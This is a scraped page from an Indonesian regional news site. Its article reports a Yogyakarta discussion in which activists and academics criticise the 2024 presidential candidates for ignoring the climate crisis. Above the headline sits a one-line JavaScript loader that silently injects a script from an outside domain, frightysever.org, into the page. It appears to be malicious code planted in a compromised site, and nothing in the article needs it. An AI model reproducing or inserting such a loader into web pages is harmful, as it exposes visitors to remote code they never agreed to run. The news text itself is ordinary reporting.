(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Krisis Iklim Tak Pernah Dibicarakan, Hati-hati Pilih Capres dan Cawapres 14 Februari Nanti


KANALKALIMANTAN.COM, YOGYAKARTA – Pemilu akan digelar tinggal hitungan hari. Masyarakat akan dihadapkan pada pilihan-pilihan Capres Cawapres yang bertarung dalam Pilpres.

Namun, para pemilih diharapkan hati-hati memilih Capres Cawapres. Sebab meski ketiga paslon sudah menyampaikan visi dan misinya untuk memimpin Indonesia lima tahun kedepan, hingga kini tak ada satupun Capres Cawapres yang memiliki kepedulian dalam mengatasi krisis iklim.

“Ketiga paslon mengklaim punya kepedulian tentang perubahan iklim tapi tidak pernah menyebut krisis iklim. Padahal saat ini tidak hanya terjadi perubahan iklim tapi kita sudah mengalami krisis iklim. Contohnya cuaca ekstrem di Yogja atau banjir rob di Semarang yang terjadi saat ini,” papar Ketua Solidaritas Perempuan (SP) Kinasih, Sana Ullaili dalam pemutaran film pendek dan diskusi isu lingkungan dan Pemilu 2024 di Yogyakarta, Sabtu (10/02/2024) malam.

Isu ekologi, lingkungan dan perubahan iklim pun, menurut Sana juga tak banyak disampaikan. Rata-rata paslon dalam lima kali debat Capres Cawapres hanya menyebut 44 kali terkait ketiga isu tersebut.

Para pembicara menyampaikan paparan dalam pemutaran film pendek dan diskusi isu lingkungan dan Pemilu 2024 di Yogyakarta, Sabtu (10/02/2024) malam. Foto: Suara.com/putu ayu palupi

Baca juga: 5 Titik Lokasi TPS di Banjarbaru Masuk Zona Blank Spot, Aplikasi Si Rekap Tak Berfungsi

Meski menyebutkan tiga isu krusial tersebut, ketiga Paslon tak jauh-jauh mengaitkannya dengan isu ekonomi. Contohnya di sektor pertanian, ketiga Capres Cawapres selalu menyampaikan mekanisme pertanian ataupun industrialisasi pupuk yang tidak menyelesaikan persoalan petani dalam mengatasi dampak krisis iklim.

“Semua hanya menyampaikan isu capital dalam menjawab masalah perubahan iklim. Semua bicara isu lingkungan yang tidak jauh dari ekonomi, seperti ekonomi hijau, ekonomi biru,” tandasnya.

Sementara dosen Fisipol UGM, Abdul Gaffar Karim mengungkapkan, Pemilu nanti akan diikuti sekitar 230 ribu calon legislatif (caleg) yang akan memperebutkan 23 ribu kursi DPR/DPRD.

“Namun tidak ada caleg yang menyampaikan isu krisis iklim karena hanya 15 persen anak muda yang ingin masalah iklim dibicarakan. Mereka lebih banyak tertarik pada isu tenaga kerja. Hanya 12 persen yamg menganggap krisis iklim itu bahaya,” ungkapnya.

Baca juga: Ramai Diparodikan, Ada Anggota KPPS yang Sedih dan Ada yang Tak Minder

Karenanya masyarakat diharapkan tak berhenti pada pemilihan presiden/wakil presiden dan anggota DPR/DPRD dalam Pemilu 14 Februari 2024 mendatang. Hari itu bukan kegiatan luar biasa bagi rakyat Indonesia karena hanya penting untuk para politisi dalam menentukan masa depannya.

Ada hal yang besar yang perlu terus diawasi siapapun yang terpilih nanti. Sebab mereka akan mengelola sekitar Rp3.800 triliun anggaran negara selama lima tahun kedepan.

“Setelah Pemilu ada tugas besar bagi kita untuk mengawasi kekuasaan, siapapun yang jadi nanti,” ungkapnya.

Baca juga: Ini Rincian Gaji Petugas KPPS dan Uang Operasional TPS

Co-inisiator pilahpilih.id, Michelle Winowatan mengungkapkan, demokrasi Indonesia tidak hanya berhenti pada Pemilu mendatang. Karenanya masyarakat Indonesia diharapkan tidak hanya melihat sosok Capres Cawapres maupun Caleg.

“Sekarang banyak masyarakat hanya melihat figur bukan sistem atau nilai apa yang mereka miliki. Ini yang harus diubah, bagaimana harusnya kita mencari paslon dengan melihat sistem, bukan hanya sosok,” imbuhnya. (Suara.com/putu ayu palupi)

Reporter : Suara.com
Editor : kk


Al Ghifari

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

7 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

9 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

9 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

9 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

11 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

12 jam ago

This website uses cookies.